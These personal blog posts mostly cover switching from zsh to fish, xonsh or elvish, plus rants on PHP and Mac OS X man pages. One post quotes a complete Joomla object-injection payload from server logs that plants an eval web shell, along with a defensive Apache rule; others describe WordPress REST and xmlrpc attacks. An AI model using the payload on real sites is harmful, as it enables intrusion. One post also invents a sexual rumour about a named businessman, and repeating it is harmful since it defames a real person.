Time to pick a new shell: fish, xonsh, elvish, bash, zsh, ksh93

Why aren’t there any good alternatives to bash or zsh? Specifically, a OS CLI shell that does not suffer from the problems inherent in being compliant with the POSIX.2 (aka POSIX 1003.2) standard? And also doesn’t suffer from the other problem that bash and zsh have due to all the configurable behaviors that make it effectively impossible to predict how those shells will behave?

Two years ago I got fed up with zsh and wrote a blog post why. That caused me to look for a saner alternative. I considered xonsh because it is based on Python which is one of my two favorite programming languages (the other being C). But I gave up on Xonsh fairly quickly. I eventually settled on Fish.

I had some misgivings about the Fish project because, as of Sep 2015, it had numerous open pull-requests. Including several more than a year old and quite a few more older than three months. The source code (both C++ and functions written in its native script language) was also a mess with no coherent style and hundreds of lint errors. At least two lint errors identified actual bugs and most of the remainder pointing out code that was hard to understand. Too, there were a couple hundred open issues more than three years old which even a cursory review suggested were no longer relevant. Nonetheless, I chose it as my new day to day shell and started contributing changes to the project. Primarily because its explicit non-adherence to the POSIX 1003.2 standard for shells meant it had far fewer surprising behaviors. It also had several innovative ideas such as every variable being an array even if it contained only a single element.

Near the end of 2015 I was offered commit privileges; that is, becoming a member of the core development team. I demurred at that time because I wasn’t sure I was going to use Fish long term. But in late January 2016 I accepted the invite to join the core dev team. Primarily because the development team expressed no objections to my requirement that the code style be standardized and changes to deal with oclint and cpplint errors would be merged without debate.

I spent several months doing things like running the code through clang-format and oclint and fixing problems they found. As well as making it easy for everyone else to do so by adding new build targets like make style and make lint. Once the code was in a better state I felt more comfortable making more substantive changes.

Fast-forward to today where I am looking for a different shell to be my day to day interactive shell. Why? There are several reasons. Such as the fact that the Fish model for I/O redirection and pipelines is broken and results in FAQs from people who expect saner behavior provided by nearly every other shell. Broken behavior I accepted till now because I hoped that such problems would be fixed sooner rather than later. I no longer believe that will happen. Again, why? Because there have been too many arguments over bike-shedding issues like whether all uppercase var names like FISH_HISTORY and FISH_VERSION should be renamed to lowercase. Or, in the case of FISH_VERSION, renamed to version because one developer is a fan of csh (actually tcsh although they never use that term). More importantly no one but myself seemed to be interested in setting a consistent vision for future releases with milestones and a roadmap.

Another example: Fish issue #478 was opened five years ago by xiaq to suggest improving how commands to options are handled. Keep in mind the ID of the person who opened that issue as it’s important to this blog post. I commented a year ago asking if we should implement a Fish compatible getopt command. Fast forward to today. I opened a new issue asking for feedback on a different approach to issue #478. Mostly because it seemed like the DocOpt based solution would never be implemented. Too, I was not convinced the DocOpt idea was sound. I implemented the argparse command and the feedback was uniformly positive and resulted in several subsequent improvements. The Fish developer I’ve clashed with from the day they were granted commit privileges then reopened issue #478 and the leader of the fish project stated they still wanted to try and implement that solution. I’m wondering if I’ll die of old age before that happens. Especially since it has been more than two years since the last substantive commit to the Python DocOpt project which has been open five years, and was the basis for the fish-shell implementation, and it still hasn’t reached v1.0 release status.

I have no intention of going back to either bash or zsh as my day to day interactive shell. They have too much baggage and broken behaviors. Zsh in particular suffers from a lack of a coherent vision which has lead to the project incorporating too many incompatible behaviors via configurable options.

So I’m once again looking for an innovative shell that I could use on a daily basis and would be willing to contribute non-trivial changes to the project. I took another look at Xonsh but was put off by the fact it has several pull-requests more than a year old and most of the others are more than a month old. Too, it has recently implemented things like the cat command as a builtin which seems rather pointless.

The current candidate for my new day to day shell is Elvish. It is even more extreme in its departure from traditional POSIX.2 shells than fish compared to shells like ksh, bash, and zsh. But therein lies its strength. Elvish is based on sound programming language principles rather than the adhoc mess that is the original Bourne shell and all subsequent, POSIX.2, based shells. My primary concern is how it handles external commands that exit with a non-zero status. At present it turns that into an exception. Which means Elvish behaves as if bash/ksh/zsh was running with set -o errexit in effect. This is great from a safety perspective. The problem is that there are a large number of commands which exit with a non-zero status for non-fatal situations. The grep command, for example, exits with status of one if no lines matched the pattern. That is rarely a fatal error that deserves raising an exception.

Does Robert Murray, who owns “Murray Energy Corporation”, shove coal up his ass?

Rumors I’ve heard suggest that Robert Murray, the owner of “Murray Energy Corporation”, likes to shove clumps of coal up his rectum for sexual pleasure.

Obviously I just made that up and don’t really mean it. But I felt compelled to write this in support of first amendment rights after I learned that the aforementioned individual decided to sue comedian John Oliver and the “Last Week Tonight” show: https://www.youtube.com/watch?v=ZvUp5f2ThPc.

Mr. Murray is the type of individual I would not piss on if they were on fire. Society is better off is such “snowflakes” are culled from the herd.

An interesting injection attach via the HTTP user agent string

Looking at my web server logs this morning I noticed a new attack signature. The attacker performs a “GET /” with this “User-Agent” header:

}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:239:\"file_put_contents($_SERVER[\"DOCUMENT_ROOT\"].chr(47).\"shootme.php\",\"|=|\\x3C\".chr(63).\"php \\x24mujj=\\x24_POST['360'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\"\\\\\\x24safedg=\\x24xsser;\\\");}\");JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}~\xd9

It’s obviously a code injection attack. Googling tells me this attack was first documented in December 2015 such as in this writeup. It’s an attempt to inject code via a Joomla CMS vulnerability. I don’t use Joomla so this doesn’t affect my site.

I already had some Apache HTTPD rules to protect against malicious user agent strings including one to detect if it begins with a left bracket:

RewriteCond %{HTTP_USER_AGENT} ^\[ [OR]

Noticing this attack suggests that generalizing that rule would be helpful. So my Apache config now contains this instead:

# If first char isn't an alphanumeric or underscore it's quite possibly an
# attempt to inject code.
RewriteCond %{HTTP_USER_AGENT} ^\W [OR]

I got hacked

I really dislike both PHP and WordPress despite using the latter, and thus the former implicitly, for this blog. Why? Because both make it far to easy to be hacked. Which happened to me just a few days ago. Despite not installing any third-party WordPress plugins and having a robust firewall against malformed web requests and regularly updating my software. In this case someone exploited a WordPress 4.7.0/4.7.1 vulnerability recently introduced into its REST API. They managed to replace my most recent post prior to this one. Google “attack /index.php/wp-json/wp/v2/posts” to learn more about this vulnerability.

Fortunately I backup my WordPress database and was thus able to restore it to a known good state. And this particular vulnerability did not allow the attacker to change any files; only content in the WP database. I was fortunate because I make regular backups of critical files and have my web site managed by git source code management. The former made it relatively easy to recover from the hack and the latter made it easy to determine my static content had not been compromised.

Xonsh is no longer a possible replacement for zsh

A few weeks ago I wrote about my dissatisfaction with zsh. I decided to take a close look at xonsh and fish.

I decided to try xonsh first because I’m a Python aficionado (I’ve been using it as my primary language for eight years). The idea of using all of my favoriate Python language features and standard library along with the ease of launching external commands with I/O redirection and pipelines was intriguing. Because xonsh is currently at version 0.2.3 it was clear that the author didn’t believe it was ready for primetime. Nonetheless, I was willing to give it a try as the documentation and mailing list suggested it was in good enough shape for a software engineer like myself who is used to using software that is rapidly changing.

The first thing I did after installing it was run a few external commands and python statements. I then showed the command history using the builtin history command. So far, so good. I then tried showing the most recent command in the history using history show -1. That worked fine. Okay, let’s do something a little more challenging; show the most recent five history entries:

$ history show -5:
usage: history [-h] {show,id,file,info,diff,replay,gc} ...
history: error: unrecognized arguments: -5:

Oops! The documentation says that should work. The inverse, showing the first five entries with history show :5 does work. So I sent a mesasge to the mailing list. Almost immediately the creator of xonsh responded with a proposed fix in the form of a github pull request. Looking at the proposed fix I saw my first red flag. The fix was a kludge and included no unit tests to ensure that the fix was correct and to keep regressions from occurring. I countered with my own pull request that included extensive unit tests for the bug I was fixing.

I was happy to see that the author cares about fixing bugs in a timely manner. I was less happy that his proposed fix was something I would barely tolerate from a summer intern. Worse, before creating my fix I ran pylint against the module. OMFG! Pylint gave it a score of 7.13 out of 10. Worse, pylint pointed out two outright bugs due to misnamed variables. The only way to tell if my change introduced more lint was to diff the lint output before and after my fix was commited. That is totally unacceptable. Too, the entire code base was riddled with problems ranging from the nitpicking trivial (trailing whitespace on a line, lines too long) to serious (missing doc strings, too many references to protected object members).

I was also deeply troubled by such bogosities as injecting __xonsh_history__ and __xonsh_env__ into the builtins module scope. Not only that but those are the primary means of accessing xonsh configurable settings. Ugh! For example, from the history.py module:

data_dir = builtins.__xonsh_env__.get('XONSH_DATA_DIR')

Despite that rocky start I thought there was enough positive things about the project to try using it and contributing to its improvement. But the code would have to be cleaned up before I would make any other substantive changes. So I asked it would be okay if I contributed a sequence of changes to make the code lint clean. Getting the green light I submitted several lint cleanup pull requests. Getting each one accepted was a challenge. Primarily because the project owner isn’t really interested in having lint clean code. The final straw that made me decide to give up on the project as hopeless were two cleanups the project owner objected to.

The first was changing

if len(inp) == 0:


if not inp:

Anthony told me to revert that because he didn’t like the negative conditional. The second was changing

for d in filter(os.path.isdir, path):


for d in (p for p in path if os.path.isdir(p)):

Anthony’s objection this time was that he prefers filter and map to list comprehension and generator functions. When I countered that filter and map are deprecated he said in effect “why are they builtins if they’re deprecated”. All you have to do is Google “python map filter deprecated”. One of the two five results is this article by Guido van Rossum proposing that map, filter, and reduce be removed from python3. There’s plenty of other web pages that also make the case for not using them.

In other words, Anthony tries to use Python as if it were a different language. He doesn’t appreciate that there is such as thing as idiomatic Python. Anthony believes that just because you can achieve a result in more than one way there is no reason to prefer one alternative over another other personal preference. Sorry, but I can’t contribute to a project with those ideals.

So I’m off to try fish.

P.S., I forgot to mention two other things that gave me a WTF moment. The first was when I noticed that the directions for running the unit tests did not test the code in my local git repository — it tested the code installed by pip. Running the tests were also not hermetic — they were affected by my local ~/.xonshrc file. Too, I couldn’t just type “make test” to execute the tests. So I decided to fix all of those problems. In the process of getting my changes accepted Anthony told me he wrote the directions to specifically test the installed code, not the code in his git repository and he didn’t understand why anyone would test their uncommitted code. So either he doesn’t test changes before committing them or he regularly installs and runs untested code.

Second, the history subsystem is weird. Don’t take my word for it, go read the xonsh history documentation. Notice too this only partially correct assertion in the first paragraph of that page: “This is saved when the shell exits”. Okay, that is true of bash but it’s not true of many other shells sharing the same Bourne shell lineage such as zsh. Also, bash provides history -a to manually save the history and history -r to read it so you’re not limited to writing the current shell history only when it exits. Yes, yes, that’s a pretty braindead approach so I agree with Anthony regarding bash but other shells like zsh have managed to implement a sane solution without requiring xonsh’s ridiculously over-engineered solution.

Mac OS X man command ignores $MANPATH (which sucks for HomeBrew installed commands)

I recently ran brew install coreutils to get the GNU versions of various commands such as ls. The first thing I noticed was that “man ls” did not display the man page for the GNU ls command. Even after setting the $MANPATH environment variable to include the relevant directory the man page was not displayed. Not even with “man -a ls” which should have shown all matching man pages in succession. The $MANPATH environment variable is completely ignored on Mac OS X as far as I can determine.

Similarly, editing /etc/manpaths and creating a file in /etc/manpaths.d containing the appropriate paths had no effect.

Only editing /etc/man.conf had any effect. Furthermore, it was not enough to simply add a MANPATH directive before any of the stock entries. Doing so did allow “man -a ls” to display the GNU ls man page but it was still not the primary man page. To make the GNU ls man page the primary I also had to add a MANPATH_MAP directive before any of the other MANPATH_MAP directives. Once I did that executing “man ls” and “man -w ls” shows the HomeBrew installed ls command man page as the primary documentation for that command.

Note that by default the man pages for HomeBrew commands that do not shadow standard commands are found and displayed by the man command. That is because a “MANPATH /usr/local/share/man” entry in /etc/man.conf is sufficient to find the associated man pages. It’s not clear whether that entry is present in a stock Mac OS X installation or is added by HomeBrew.

I love Mac OS X and would rather get a root canal than use MS Windows. But once in a while an annoyance like this one makes me wonder if anyone at Apple actually verifies that the software behaves as the documentations states.

Someone in the Catholic church of Australia plays video games on his Apple Mac computer

Tonight I was reviewing my web server logs and noticed a “GET /2014/08/logitech-f710-controller-on-mac-os-x/” request from IP address That address is assigned to https://www.catholic.org.au/. I hope that blog view wasn’t from a child being abused, or about to be abused, under the control of a Catholic priest in Australia. If the request was from an adult in that organization how are they spending their time? Which is to say, why are they spending time playing video games rather than sucking God’s cock?

P.S., Yes, this is a lame attempt to mimic the style of the Rude Pundit. Nonetheless, I do seriously worry that a child being abused by a Catholic priest did an Internet search and found my blog article. And if it was an adult in that organization then what the hell are they doing playing video games (something most hyper religious people consider a satanic activity) rather than praying and other such useless sectarian activities?

It’s time to replace Zsh with a saner shell because “unsetopt multifuncdef” breaks tab completion

Preface: I switched to Zsh roughly seven years ago. Prior to that I used Ksh93 for a decade. I’ve used many other UNIX shells prior to that (going back to approximately 1985 when I got my hands on my first AT&T SysV UNIX system). I’ve also used numerous shells on non-UNIX operating systems including IBM mainframes. So I like to think I’m not narrow-minded and parochial on issues such as which command shell is best.

On the zsh-users mailing list someone recently wrote about a zsh behavior that surprised them. The person ran

$ git add foo().bar

That created three functions named git, add, and foo. That’s because Zsh by default allows multiple function names when defining a function. This is considered a feature by the Zsh community. Worse, it is enabled by default and you can disable it. I view both capabilities as two of the many ill-advised features that has turned zsh into a shell whose behavior is almost impossible to understand or predict.

After reading that message thread I figured it would be a good idea to disable this feature in my interactive shells so I added

unsetopt multifuncdef

to my ~/.zshrc file. Imagine my surprise when a few days later after rebooting my computer and starting fresh shells finding that any attempt to invoke tab completion results in this error:

_main_complete:143: parse error near `()'

That’s because the /usr/share/zsh/5.0.8/functions/_main_complete file contains this block of code:

    zle -M "Killed by signal in ${funcstack[2]} after ${SECONDS}s";
    zle -R
    return 130

Because zsh has no concept of modules or namespaces (other than function scope) changing an option in an interactive shell can readily break any function that is autoloaded by that shell; such as the completion functions.

Frankly, I’ve encountered too many such annoyances with Zsh. Even the developers who answer questions on the zsh-users mailing list frequently do the virtual equivalent of shrugging their shoulders and saying that some behavior or other is weird but it’s too late to change it. Not to mention too many of them seem to think it is a good thing that Zsh encourages writing code more cryptic than your typical Perl programmer would ever dream of. Such as this:

_comp_colors+=( "=(#i)${prefix[1,-2]//?/(}${prefix[1,-2]//(#m)?/${MATCH/$~toquote/\\$MATCH}|)}${prefix[-1]//(#m)$~toquote/\\$MATCH}(#b)(?|)*==$tmp" )

Or this:

list=(${${${(0)"$(git config -z --get-regexp '^alias\.')"}#alias.}%$'\n'*})

Bye-bye, Zsh. It’s time to switch to a saner shell.

P.S., Yes, I understand I could simply file a bug report to make the standard completion code robust in the face of a user unsetting that option. The point is that this is not an isolated incident. It reflects a fundamental problem with zsh trying to be all things to all people.

P.P.S., This bug apparently only existed in zsh v5.0.8 (the version that currently ships with Mac OS X 10.11 “El Capitan”). Great, someone noticed and fixed the problem quickly. That doesn’t negate my broader point that zsh simply has too many ad-hoc features that interact in surprising ways.

Updated 2015-10-28: Over the next couple of days I’m going to look closely at Xonsh and Fish for interactive use. If I don’t choose either of those I’ll probably go back to Ksh93. For scripting I’m going to switch to Bash.
Updated 2015-10-29: Two days ago a discussion was started about extending the recursive globbing syntax. Today one of the primary developers posted a patch to implement yet another configurable option to alter how recursive globbing works. With no discussion regarding alternatives, potential problems, whether the added complexity is worthwhile, etc. This is exactly the type of hastily implemented change that has made zsh a kitchen sink of features that don’t always play well together. And is another example for why I’m abandoning zsh for a more stable shell.

I would rather be unemployed than forced to write code in PHP

My blog currently uses WordPress. I’ve written numerous times about the various PHP based attacks I see every day because of the stupid security mistakes PHP programmers make. I’ve also made a few changes to the WordPress software to make it saner about handling and logging requests. Thus I knew PHP was awful from my own limited interaction with it. Then I came across this article: PHP: a fractal of bad design. This one point from that article should be enough to result in a death sentence for the language:

PHP’s one unique operator is @ (actually borrowed from DOS), which silences errors.

Holy shit! The developer(s) of PHP remind me of a coworker in my first post college job. He thought he could design and implement a new language. Yet he had no idea what the computer science terms “parser”, “lexical analysis”, “tokenizer” etc. meant. I suspect he would be welcomed by the PHP community.

Interesting new WordPress attack signature using POST /xmlrpc.php

Today I noticed an interesting, and hitherto unseen, attack from which is owned by cloud provider redstation.com (or redstation.co.uk if you prefer). The attack started with this request:

POST /xmlrpc.php HTTP/1.0
Host: www.skepticism.us
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>

Note the ancient HTTP/1.0 protocol specification. The methodCall is also ill-formed causing PHP to issue a notice and warning messages about Undefined index: VALUE and Invalid argument supplied for foreach().

That request was followed by another POST /xmlrpc.php that attempted to use the system.multicall method; something I’ve never seen in an attack before now. The “multicall” methods were all wp.getCategories invocations with my user ID and various passwords. In the past six months (as far as my logs go) I only started seeing attempts to exploit wp.getCategories two days ago. And this attack was the first one to do so by using system.multicall to reduce the number of requests it had to make to test which, if any, of large number of passwords was valid

A few minutes after writing the previous text I noticed that I had in fact seen another attack employing the system.multicall method to execute wp.getCategories multiples times in a single request. That attack was from ttnetdc.com in Turkey. That attack was very different. First, it was not preceded by the demo.sayHello request. Second, the wp.getCategories calls all used the generic admin account rather than my account. Third, the XML was formatted in a more or less human readable form rather than the tightly packed sequence of tokens from the attack I saw this morning and talk about above.

Thus it appears that a general approach about how to efficiently test for valid WordPress credentials was recently documented and we’re now seeing various hackers attempt to exploit that advice.